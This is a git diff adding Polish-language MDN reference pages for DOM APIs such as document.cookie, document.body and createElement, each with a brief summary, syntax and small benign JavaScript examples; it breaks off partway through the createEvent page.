+ <td>{{ Anch("CSSCharsetRule") }}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td><code>CSSRule.UNKNOWN_RULE</code></td>
+ <td>{{ Anch("CSSUnknownRule") }}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+<h3 id="CSSRule" name="CSSRule">CSSRule</h3>
+<dl>
+ <dt>
+ <a href="pl/DOM/cssRule.cssText">cssText</a></dt>
+ <dd>
+ Zwraca tekstową reprezentację reguły, np. "h1,h2 { font-size: 16pt }".</dd>
+ <dt>
+ <a href="pl/DOM/cssRule.parentRule">parentRule</a></dt>
+ <dd>
+ Zwraca regule zawarta w treści jeśli takowa istnieje, np. regułę stylu znajdującą sie wewnątrz bloku @media.</dd>
+ <dt>
+ <a href="pl/DOM/cssRule.parentStyleSheet">parentStyleSheet</a></dt>
+ <dd>
+ Zwraca obiekt <a href="pl/DOM/stylesheet">stylesheet</a>, którego reguła jest częścią.</dd>
+ <dt>
+ <a href="pl/DOM/cssRule.type">type</a></dt>
+ <dd>
+ Zwraca typ reguły, np. <code>CSSRule.CHARSET_RULE</code> lub <code>CSSRule.IMPORT_RULE</code>.</dd>
+</dl>
+<h3 id="CSSStyleRule" name="CSSStyleRule">CSSStyleRule</h3>
+<dl>
+ <dt>
+ <a href="pl/DOM/cssRule.selectorText">selectorText</a></dt>
+ <dd>
+ Pobiera/ustawia tekstową reprezentację selektora dla reguły, np.: "h1,h2".</dd>
+ <dt>
+ <a href="pl/DOM/cssRule.style">style</a></dt>
+ <dd>
+ Zwraca obiekt <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Style/css.html#CSS-CSSStyleDeclaration">CSSStyleDeclaration</a> dla reguły <a class="external" href="http://www.w3.org/TR/1998/REC-CSS2-19980512/syndata.html#block">deklaracji bloku</a>.</dd>
+</dl>
+<h3 id="CSSStyleRule_2" name="CSSStyleRule_2">CSSStyleRule</h3>
+<h3 id="CSSMediaRule" name="CSSMediaRule">CSSMediaRule</h3>
+<h3 id="CSSFontFaceRule" name="CSSFontFaceRule">CSSFontFaceRule</h3>
+<h3 id="CSSPageRule" name="CSSPageRule">CSSPageRule</h3>
+<h3 id="CSSImportRule" name="CSSImportRule">CSSImportRule</h3>
+<h3 id="CSSCharsetRule" name="CSSCharsetRule">CSSCharsetRule</h3>
+<h3 id="CSSUnknownRule" name="CSSUnknownRule">CSSUnknownRule</h3>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Style/css.html#CSS-CSSRule">DOM Level 2 CSS: CSSRule</a></p>
+<p>{{ languages( { "en": "en/DOM/cssRule" } ) }}</p>
diff --git a/files/pl/web/api/document/activeelement/index.html b/files/pl/web/api/document/activeelement/index.html
new file mode 100644
index 0000000000..bd8527e319
--- /dev/null
+++ b/files/pl/web/api/document/activeelement/index.html
@@ -0,0 +1,26 @@
+---
+title: document.activeElement
+slug: Web/API/Document/activeElement
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/DocumentOrShadowRoot/activeElement
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Zwraca element, na którym ustawiony jest fokus.</p>
+<p>{{ Note("Ten atrybut jest częścią specyfikacji HTML 5, która jest wciąż opracowywana.") }}</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval">var curElement = document.activeElement;
+</pre>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#focus-management">Zarządzanie fokusem </a></p>
+<p> </p>
+<p> </p>
+<p> </p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/document.activeElement", "es": "es/DOM/element.activeElement", "fr": "fr/DOM/document.activeElement", "ja": "ja/DOM/document.activeElement" } ) }}</p>
diff --git a/files/pl/web/api/document/alinkcolor/index.html b/files/pl/web/api/document/alinkcolor/index.html
new file mode 100644
index 0000000000..82e8dda6cd
--- /dev/null
+++ b/files/pl/web/api/document/alinkcolor/index.html
@@ -0,0 +1,24 @@
+---
+title: document.alinkColor
+slug: Web/API/Document/alinkColor
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Document/alinkColor
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Zwraca bądź ustawia kolor aktywnych odnośników w ciele dokumentu.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>kolor</i> = HTMLBodyElement.aLinkColor
+HTMLBodyElement.aLinkColor =<i>kolor</i>
+</pre>
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+<ul>
+ <li><code>kolor</code> jest ciągiem zawierającym nazwę koloru (np. "blue", "darkblue", itp.) lub wartość szesnastkową (np. "#fefdf8").</li>
+</ul>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p>DOM Level 0 - brak w specyfikacji.</p>
+<p>{{ languages( { "en": "en/DOM/document.alinkColor", "es": "es/DOM/document.alinkColor" } ) }}</p>
diff --git a/files/pl/web/api/document/anchors/index.html b/files/pl/web/api/document/anchors/index.html
new file mode 100644
index 0000000000..e1681f5372
--- /dev/null
+++ b/files/pl/web/api/document/anchors/index.html
@@ -0,0 +1,38 @@
+---
+title: document.anchors
+slug: Web/API/Document/anchors
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Document/anchors
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p><code>anchors</code> zwraca listę wszystkich kotwic w dokumencie.</p>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre class="eval"><em>listaWęzłów</em> = document.anchors
+</pre>
+
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+
+<pre class="eval">if ( document.anchors.length &gt;= 5 ) {
+ dump("dump found too many anchors");
+ window.location = "http<span class="nowiki">:</span>//www.google.com";
+}
+</pre>
+
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+
+<p>Ze względu na zgodność wsteczną, zwracany zestaw kotwic zawiera tylko kotwice posiadające atrybut <code>name</code>, bez tych które posiadają jedynie atrybut <code>id</code>.</p>
+
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-7577272">DOM Level 2 HTML: anchors</a></p>
+
+<p>{{ languages( { "en": "en/DOM/document.anchors", "es": "es/DOM/document.anchors", "ja": "ja/DOM/document.anchors" } ) }}</p>
diff --git a/files/pl/web/api/document/applets/index.html b/files/pl/web/api/document/applets/index.html
new file mode 100644
index 0000000000..719c43b33b
--- /dev/null
+++ b/files/pl/web/api/document/applets/index.html
@@ -0,0 +1,26 @@
+---
+title: document.applets
+slug: Web/API/Document/applets
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Document/applets
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p><b>applets</b> zwraca uporządkowaną listę apletów umieszczonych w dokumencie.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>listaWęzłów</i> = document.applets
+</pre>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre class="eval">// (Kiedy wiesz, że drugi aplet jest tym,
+// którego szukasz)
+my_java_app = document.applets[1];
+</pre>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/WD-DOM-Level-2-HTML-20001113/html.html#ID-85113862">applets </a></p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/document.applets", "es": "es/DOM/document.applets" } ) }}</p>
diff --git a/files/pl/web/api/document/bgcolor/index.html b/files/pl/web/api/document/bgcolor/index.html
new file mode 100644
index 0000000000..cdc5731cbf
--- /dev/null
+++ b/files/pl/web/api/document/bgcolor/index.html
@@ -0,0 +1,33 @@
+---
+title: document.bgColor
+slug: Web/API/Document/bgColor
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Document/bgColor
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>{{ Deprecated_header() }} Własność
+ <i>
+ bgColor</i>
+ pobiera/zwraca kolor tła dokumentu.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>kolor</i> = document.bgColor
+document.bgColor =<i>kolor</i>
+</pre>
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+<ul>
+ <li><code>kolor</code> jest łańcuchem znaków reprezentującym nazwę koloru - słownie (np. "red") lub w systemie szesnastkowym, jak w HTML-u (np. "#fdfef8")</li>
+</ul>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre class="eval">document.bgColor = "darkblue";
+</pre>
+<h3 id="Notes" name="Notes">Notes</h3>
+<p>Domyślną wartością tej własności w Mozilli Firefox jest kolor biały (<code>#ffffff</code> w systemie szesnastkowym).</p>
+<p>Własność <code>document.bgColor</code> jest wycofywana <a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-26809268">DOM Level 2 HTML</a>. Zalecanym rozwiązaniem alternatywnym jest użycie stylu CSS <a href="pl/CSS/background-color"> background-color</a>, gdy możemy uzyskać dostęp bezpośrednio przez DOM za pomocą własności<code>document.body.style.backgroundColor</code>. Innym alternatywnym rozwiązaniem jest <code>document.body.bgColor</code>, chociaż to rozwiązanie jest także wycofywane w HTML 4.01 na rzecz rozwiązania wykorzystującego CSS .</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p>DOM Level 0 - brak w specyfikacji.</p>
+<p>{{ languages( { "en": "en/DOM/document.bgColor", "es": "es/DOM/document.bgColor" } ) }}</p>
diff --git a/files/pl/web/api/document/body/index.html b/files/pl/web/api/document/body/index.html
new file mode 100644
index 0000000000..1ae1aa480e
--- /dev/null
+++ b/files/pl/web/api/document/body/index.html
@@ -0,0 +1,31 @@
+---
+title: document.body
+slug: Web/API/Document/body
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Document/body
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p><b>body</b> zwraca węzeł <code>&lt;body&gt;</code> lub <code>&lt;frameset&gt;</code> z bieżącego dokumentu.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>objRef</i> = document.body
+document.body =<i>objRef</i>
+</pre>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre class="eval">// HTML: &lt;body id="oldBodyElement"&gt;&lt;/body&gt;
+alert(document.body.id); // "oldBodyElement"
+var aNewBodyElement = document.createElement("body");
+aNewBodyElement.id = "newBodyElement";
+document.body = aNewBodyElement;
+alert(document.body.id); // "newBodyElement"
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p><code>document.body</code> to element zawierający treść dokumentu. W dokumentach z elementem <code>&lt;body&gt;</code> własność zwraca tenże element, w dokumentach z definicją ramek zwracany jest najbardziej zewnętrzny element <code>&lt;frameset&gt;</code>.</p>
+<p>Mimo, że <code>body</code> można samemu ustawić, jego zmiana spowoduje skuteczne usunięcie wszystkich potomków istniejącego elementu <code>&lt;body&gt;</code>.</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/WD-DOM-Level-2-HTML-20001113/html.html#ID-56360201">body </a></p>
+<p>{{ languages( { "en": "en/DOM/document.body", "es": "es/DOM/document.body" } ) }}</p>
diff --git a/files/pl/web/api/document/characterset/index.html b/files/pl/web/api/document/characterset/index.html
new file mode 100644
index 0000000000..4d7fa83359
--- /dev/null
+++ b/files/pl/web/api/document/characterset/index.html
@@ -0,0 +1,26 @@
+---
+title: document.characterSet
+slug: Web/API/Document/characterSet
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Document/characterSet
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Zwraca kodowanie znaków dokumentu.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>ciąg</i> = document.characterSet
+</pre>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre class="eval">&lt;button onclick="alert(document.characterSet);"&gt;Pokaż kodowanie znaków&lt;/button&gt;
+// zwraca kodowanie znaków dokumentu, takie jak "ISO-8859-1 lub UTF-8"
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Jest to zestaw znaków użyty przy renderowaniu strony, niekoniecznie taki, jak zadeklarowany w kodzie strony (użytkownik może narzucić własne kodowanie).</p>
+<p>Kompletną listę dostępnych zestawów znaków znajdziesz tu: <a class="external" href="http://www.iana.org/assignments/character-sets" rel="freelink">http://www.iana.org/assignments/character-sets</a>.</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p>DOM Level 0 - brak w specyfikacji.</p>
+<p>{{ languages( { "en": "en/DOM/document.characterSet", "es": "es/DOM/document.characterSet" } ) }}</p>
diff --git a/files/pl/web/api/document/clear/index.html b/files/pl/web/api/document/clear/index.html
new file mode 100644
index 0000000000..fdeaf2e52e
--- /dev/null
+++ b/files/pl/web/api/document/clear/index.html
@@ -0,0 +1,19 @@
+---
+title: document.clear
+slug: Web/API/Document/clear
+tags:
+ - DOM
+ - Wszystkie_kategorie
+translation_of: Web/API/Document/clear
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Metoda <b>clear</b> czyści dokument, usuwając całą jego zawartość.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre>document.clear()
+</pre>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre>&lt;button label="empty" onclick="document.clear();" /&gt;
+</pre>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p>DOM Level 0 - brak w specyfikacji.</p>
diff --git a/files/pl/web/api/document/close/index.html b/files/pl/web/api/document/close/index.html
new file mode 100644
index 0000000000..b325beb8cc
--- /dev/null
+++ b/files/pl/web/api/document/close/index.html
@@ -0,0 +1,26 @@
+---
+title: document.close
+slug: Web/API/Document/close
+tags:
+ - DOM
+ - Wszystkie_kategorie
+translation_of: Web/API/Document/close
+---
+<div>
+ {{APIRef}}</div>
+<div>
+  </div>
+<p><span style="font-size: 1.71428571428571rem; letter-spacing: -0.5px; line-height: 24px;">Podsumowanie</span></p>
+<p>Metoda <code>document.close()</code> kończy zapis do otwartego dokumentu.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre>document.close()
+</pre>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre>// otwieramy dokument do zapisu
+// i kończymy zamknięciem poprzez close()
+document.open();
+document.write("&lt;P&gt;The only content&lt;/P&gt;.");
+document.close();
+</pre>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/WD-DOM-Level-2-HTML-20001113/html.html#ID-98948567">close</a></p>
diff --git a/files/pl/web/api/document/compatmode/index.html b/files/pl/web/api/document/compatmode/index.html
new file mode 100644
index 0000000000..a2750f2ad8
--- /dev/null
+++ b/files/pl/web/api/document/compatmode/index.html
@@ -0,0 +1,32 @@
+---
+title: document.compatMode
+slug: Web/API/Document/compatMode
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Document/compatMode
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Wskazuje, czy dokument renderowany jest w trybie zgodności wstecznej (ang.
+ <i>
+ quirks mode</i>
+ ), czy też w trybie standardów (ang.
+ <i>
+ strict mode</i>
+ ).</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>tryb</i> = document.compatMode
+</pre>
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+<ul>
+ <li><code>tryb</code> jest ciągiem zawierającym "BackCompat" dla trybu zgodności wstecznej lub "CSS1Compat" dla trybu standardów.</li>
+</ul>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre class="eval">if ( document.compatMode == "BackCompat" ){
+ //wykonaj coś dla trybu zgodności
+}
+</pre>
+<p>{{ languages( { "en": "en/DOM/document.compatMode" } ) }}</p>
diff --git a/files/pl/web/api/document/cookie/index.html b/files/pl/web/api/document/cookie/index.html
new file mode 100644
index 0000000000..a711e9c1d2
--- /dev/null
+++ b/files/pl/web/api/document/cookie/index.html
@@ -0,0 +1,49 @@
+---
+title: document.cookie
+slug: Web/API/Document/cookie
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Document/cookie
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p>Pobiera/ustawia listę ciasteczek powiązanych z dokumentem.</p>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre class="eval"><em>listaCiasteczek</em> = document.cookie
+document.cookie = <em>listaCiasteczek</em>
+</pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<ul>
+ <li><code>listaCiasteczek</code> jest ciągiem zawierającym rozdzieloną średnikami listę ciasteczek.</li>
+</ul>
+
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+
+<pre class="eval">// ta funkcja ustawia dwa ciasteczka
+// a następnie wyświetla je w ostrzeżeniu
+function sgCookie() {
+ document.cookie = "name=oeschger";
+ document.cookie = "favorite_food=tripe";
+ alert(document.cookie);
+}
+// wyświetli: name=oeschger;favorite_food=tripe
+</pre>
+
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+
+<p>Jeżeli nie ma ciasteczek powiązanych z tym dokumentem, funkcja zwraca pusty ciąg. Zauważ również, że nie możesz użyć tej własności, bu ustawić więcej niż jedno ciasteczko za jednym razem.</p>
+
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/2000/WD-DOM-Level-2-HTML-20001113/html.html#ID-8747038">cookie </a></p>
+
+<p>{{ languages( { "en": "en/DOM/document.cookie", "es": "es/DOM/document.cookie" } ) }}</p>
diff --git a/files/pl/web/api/document/createattribute/index.html b/files/pl/web/api/document/createattribute/index.html
new file mode 100644
index 0000000000..ad996d5161
--- /dev/null
+++ b/files/pl/web/api/document/createattribute/index.html
@@ -0,0 +1,29 @@
+---
+title: document.createAttribute
+slug: Web/API/Document/createAttribute
+tags:
+ - DOM
+ - Wszystkie_kategorie
+translation_of: Web/API/Document/createAttribute
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p><b>createAttribute</b> tworzy nowy atrybut w bieżącym elemencie.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>atrybut</i> = element.createAttribute(<i>nazwa</i>)
+</pre>
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+<ul>
+ <li><code>atrybut</code> jest węzłem atrybutu</li>
+ <li><code>nazwa</code> jest ciągiem znaków zawierającym nazwę atrybutu</li>
+</ul>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre>d = document.getElementById("div1");
+p = d.createAttribute("proportion");
+p.value = "100";
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Zwracany jest węzeł typu <code>Attribute</code>. Kiedy masz już ten węzeł, tak jak w powyzszym przykładzie, możesz ustawić jego wartość za pomocą własności <code>value</code>. DOM nie wymusza typu atrybutów, jakie mogą zostać dodane w ten sposób do konkretnych elementów.</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-1084891198">createAttribute </a></p>
+<p>{{ languages( { "en": "en/DOM/document.createAttribute", "fr": "fr/DOM/document.createAttribute" } ) }}</p>
diff --git a/files/pl/web/api/document/createdocumentfragment/index.html b/files/pl/web/api/document/createdocumentfragment/index.html
new file mode 100644
index 0000000000..e6bf6e6da3
--- /dev/null
+++ b/files/pl/web/api/document/createdocumentfragment/index.html
@@ -0,0 +1,43 @@
+---
+title: document.createDocumentFragment
+slug: Web/API/Document/createDocumentFragment
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Document/createDocumentFragment
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p>Tworzy pusty fragment dokumentu.</p>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre class="eval">var fragmentDokumentu = document.createDocumentFragment();
+</pre>
+
+<p><code>fragmentDokumentu</code> jest odniesieniem do pustego obiektu <code>DocumentFragment</code>.</p>
+
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+
+<pre>var frag = document.createDocumentFragment();
+frag.appendChild(document.createTextNode('Ipsum Lorem'));
+document.body.appendChild(frag);
+</pre>
+
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+
+<p><code><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-B63ED1A3">DocumentFragment</a></code> jest minimalnym obiektem dokumentu, który nie posiada rodzica. Obsługuje on następujące metody DOM 2: <code><a href="pl/DOM/element.appendChild">appendChild</a></code>, <code><a href="pl/DOM/element.cloneNode">cloneNode</a></code>, <code><a href="pl/DOM/element.hasAttributes">hasAttributes</a></code>, <code><a href="pl/DOM/element.hasChildNodes">hasChildNodes</a></code>, <code><a href="pl/DOM/element.insertBefore">insertBefore</a></code>, <code><a href="pl/DOM/element.normalize">normalize</a></code>, <code><a href="pl/DOM/element.removeChild">removeChild</a></code>, <code><a href="pl/DOM/element.replaceChild">replaceChild</a></code>.</p>
+
+<p>Obsługuje on również następujące własności DOM 2: <code><a href="pl/DOM/element.attributes">attributes</a></code>, <code><a href="pl/DOM/element.childNodes">childNodes</a></code>, <code><a href="pl/DOM/element.firstChild">firstChild</a></code>, <code><a href="pl/DOM/element.lastChild">lastChild</a></code>, <code><a href="pl/DOM/element.localName">localName</a></code>, <code><a href="pl/DOM/element.namespaceURI">namespaceURI</a></code>, <code><a href="pl/DOM/element.nextSibling">nextSibling</a></code>, <code><a href="pl/DOM/element.nodeName">nodeName</a></code>, <code><a href="pl/DOM/element.nodeType">nodeType</a></code>, <code><a href="pl/DOM/element.nodeValue">nodeValue</a></code>, <code><a href="pl/DOM/element.ownerDocument">ownerDocument</a></code>, <code><a href="pl/DOM/element.parentNode">parentNode</a></code>, <code><a href="pl/DOM/element.prefix">prefix</a></code>, <code><a href="pl/DOM/element.previousSibling">previousSibling</a></code>, <code><a href="pl/DOM/element.textContent">textContent</a></code>.</p>
+
+<p>Różne inne metody potrafią pobrać fragment dokumentu jako argument (na przykład metody interfejsu <code><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-1950641247">Node</a></code> takie jak <code><a href="pl/DOM/element.appendChild">appendChild</a></code> i <code><a href="pl/DOM/element.insertBefore">insertBefore</a></code>), w przypadku których dodawane lub wstawiane są dzieci fragmentu, nie zaś same fragmenty.</p>
+
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-35CB04B5">createDocumentFragment</a></p>
+
+<p>{{ languages( { "en": "en/DOM/document.createDocumentFragment" } ) }}</p>
diff --git a/files/pl/web/api/document/createelement/index.html b/files/pl/web/api/document/createelement/index.html
new file mode 100644
index 0000000000..bf657b4103
--- /dev/null
+++ b/files/pl/web/api/document/createelement/index.html
@@ -0,0 +1,74 @@
+---
+title: document.createElement
+slug: Web/API/Document/createElement
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Document/createElement
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p>Tworzy element podanego typu. Zauważ, że zwracana instancja implementuje interfejs Element, zatem można manipulować atrybutami bezpośrednio na zwróconym obiekcie.</p>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre>''element'' = document.createElement(''typ'')
+</pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<ul>
+ <li><em>element</em>jest obiektem</li>
+ <li><em>typ</em>jest ciągiem znaków oznaczającym typ tworzonego elementu</li>
+</ul>
+
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+
+<pre>&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;||Praca z elementami||&lt;/title&gt;
+&lt;/head&gt;
+
+&lt;script type="text/javascript"&gt;
+var my_div = null;
+var newDiv = null;
+
+function addElement()
+{
+ // tworzy nowy element div
+ // i daje jego zawartość
+ newDiv = document.createElement("div");
+ newDiv.innerHTML = "&lt;h1&gt;Hi there and greetings!&lt;/h1&gt;";
+
+ // add the newly created element and it's content into the DOM
+ my_div = document.getElementById("org_div1");
+ document.body.insertBefore(newDiv, my_div);
+}
+
+&lt;/script&gt;
+
+&lt;body onload="addElement()"&gt;
+ &lt;div id='org_div1'&gt; The text above has been created dynamically.&lt;/div&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+
+<p>Jeżeli znane są atrybuty o domyślnych wartościach, zostaną automatycznie utworzone i przypisane do elementu węzły tychże atrybutów.</p>
+
+<p>Aby utworzyć element o uściślonej nazwie i URI przestrzeni nazw, użyj metody <strong>createElementNS</strong>.</p>
+
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-2141741547">createElement</a></p>
+
+
+
+<div class="noinclude"></div>
+
+<p>{{ languages( { "en": "en/DOM/document.createElement", "fr": "fr/DOM/document.createElement", "it": "it/DOM/document.createElement", "ja": "ja/DOM/document.createElement", "ko": "ko/DOM/document.createElement" } ) }}</p>
diff --git a/files/pl/web/api/document/createevent/index.html b/files/pl/web/api/document/createevent/index.html
new file mode 100644
index 0000000000..1064131504
--- /dev/null
+++ b/files/pl/web/api/document/createevent/index.html
@@ -0,0 +1,134 @@
+---
+title: document.createEvent
+slug: Web/API/Document/createEvent
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Document/createEvent
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Tworzy obiekt obsługi <a href="pl/DOM/event">zdarzenia</a> o określonym typie. Utworzony obiekt powinien zostać najpierw zainicjalizowany, a następnie przekazany do metody <a href="pl/DOM/element.dispatchEvent">dispatchEvent</a> elementu.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>var zdarzenie</i> =<i>document</i>.createEvent(<i>typ);</i>
+</pre>
+<ul>
+ <li><code>zdarzenie</code> to utworzony obiekt <a href="pl/DOM/event">Event</a>.</li>
+ <li><code>typ</code> to ciąg oznaczający typ tworzonego zdarzenia. Możliwe typy to m.in.: <code>"UIEvents"</code>, <code>"MouseEvents"</code>, <code>"MutationEvents"</code>, i <code>"HTMLEvents"</code>. Zob. {{ Anch("Uwagi") }}.</li>
+</ul>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<p><a href="/pl/docs/DOM/dispatchEvent_-_przyk%C5%82ad" title="/pl/docs/DOM/dispatchEvent_-_przyk%C5%82ad">dispatchEvent - przykład [pl]</a></p>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
